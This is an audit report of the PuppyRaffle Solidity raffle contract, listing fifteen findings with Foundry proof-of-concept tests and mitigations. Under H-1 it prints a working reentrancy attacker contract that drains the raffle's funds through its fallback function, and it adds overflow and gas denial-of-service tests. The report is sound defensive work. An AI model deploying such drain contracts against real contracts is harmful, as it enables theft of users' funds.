PuppyRaffle Audit Report

Version 1.0

SecretLab

December 20, 2023

PuppyRaffle Audit Report

SecretLab | Stacey

December 20, 2023

Prepared by: SecretLab Lead Auditors: - Stacey

Table of Contents

    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants.
    - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    - [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    - [G-1] Unchanged state variables should be declared constant or immutable
    - [G-2] Storage variables in the loop should be cached
  - Information
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of Solidity is not recommended
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `Puppyraffle::selectWinner` function does not follow CEI, which is not a best practice
    - [I-5] Use of "magic" numbers is discouraged
    - [I-6] `_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The SecretLab team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making this external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attcker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle by attack contract
4. Attacker calls `PuppyRaffle::refud` from their attack contract, draining the contract balance

Proof of Code

Place the following to the `PuppyRaffleTest.t.sol`

Code

```
    function test_reentrancyRefund() public playersEntered {
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        uint256 startBalanceAttackerContract = address(attackerContract
            ).balance;
        uint256 startBalancePuppyRaffle = address(puppyRaffle).balance;

        address user = makeAddr("attacker");
        vm.deal(user, 1 ether);

        vm.prank(user);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting balance Attacker contract: ",
            startBalanceAttackerContract);
        console.log("Starting balance Puppy Raffle: ",
            startBalancePuppyRaffle);
        console.log("Ending balance Attacker contract: ", address(
            attackerContract).balance);
        console.log("Ending balance Puppy Raffle: ", address(
            puppyRaffle).balance);
    }
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refuns` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the rsffle themselves.

Notes This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy, making the entire raffle worthless if it becomes gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and the `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner. 3. User can revert their `selectWinner` transaction if they don't like the winner or resultin puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer owerflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max;
    // myVar will be 18446744073709551615
    myVar = myVar + 1;
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 2. `totalFees` will be:

```
    totalFees = totalFees + uint64(fee);
    // substituted
    totalFees = 800000000000000000 + 17800000000000000000;
    // due to overflow, the following is now the case
    totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
           second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
           require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.
2. Use a uint256 instead of a uint64 for totalFees.
3. Remove the balance check in PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check for duplicates. The longer `PuppyRuffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array is the additional check the loop will have to make.

Impact: The skyrocketing costs for users entering the raffle at a later stage could deter participation, it will make the function unusable due to block gas limit.

Furthermore, an attacker with large enough resources could monopolize the system, crowding out other potential participants and win the NFT.

Proof of Concept: If we have two sets for 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252039 gas - 2nd 100 players: ~18068129 gas

This over 3x more expensive for the second 100 players.

Place the following test to `PuppyRaffleTest.t.sol`:

Test Code

```
    function test_denailOfService() public {
        vm.txGasPrice(1);
        // Let's enter 100 players
        uint256 playersNum = 100;

        // for first 100 players
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
           );

        // for second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           playersTwo);
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedTwo);

        assert(gasUsedFirst < gasUsedTwo);
    }
```

Recommended Mitigation: Here are some of recommendations, any one of that can be used to mitigate this risk. 1. Allow duplicates participants, As technically you can't stop people participants more than once. As players can use new address to enter. 2. Using a mapping for duplicate checks

```
-// Original Code:
-for (let i = 0; i < player.length; i++) {
-  if (player[i] == _address) return true;
-}

+//Some Modification:
+mapping(address => bool) entered;
+if (entered[_address])return true;
```

3. Leveraging OpenZeppelin's enumerable library

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
           );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle proceeds with a little more than 18 ETH worth of fees collected 2. The line that casts the fee as a `uint64` hits 3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
    uint256 max = type(uint64).max
    uint256 fee = max + 1
    uint64(fee)
    // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
    // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

```
            return 0;
        }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enter the raffle and become the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks thay have not entered correctly due to the function documentation

Recommended Mitigation: Revert transaction if the player is not in the array instead of returning 0.

You could also reserve the zero position for any competition, but a better solution might to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in the loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 length = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Information

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions: `0.8.18` The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.'

Please, see slyther

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 150

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] `Puppyraffle::selectWinner` function does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
+         _safeMint(winner, tokenId);
          (bool success,) = winner.call{value: prizePool}("");
          require(success, "PuppyRaffle: Failed to send prize pool to
             winner");
-         _safeMint(winner, tokenId);
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
          uint256 prizePool = (totalAmountCollected * 80) / 100;
          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
          uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
          uint256 public constant FEE_PERCENTAGE = 20;
          uint256 public constant TOTAL_PERCENTAGE = 100;

          uint256 prizePool = (totalAmountCollected *
             PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
          uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
             TOTAL_PERCENTAGE;
```

[I-6] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.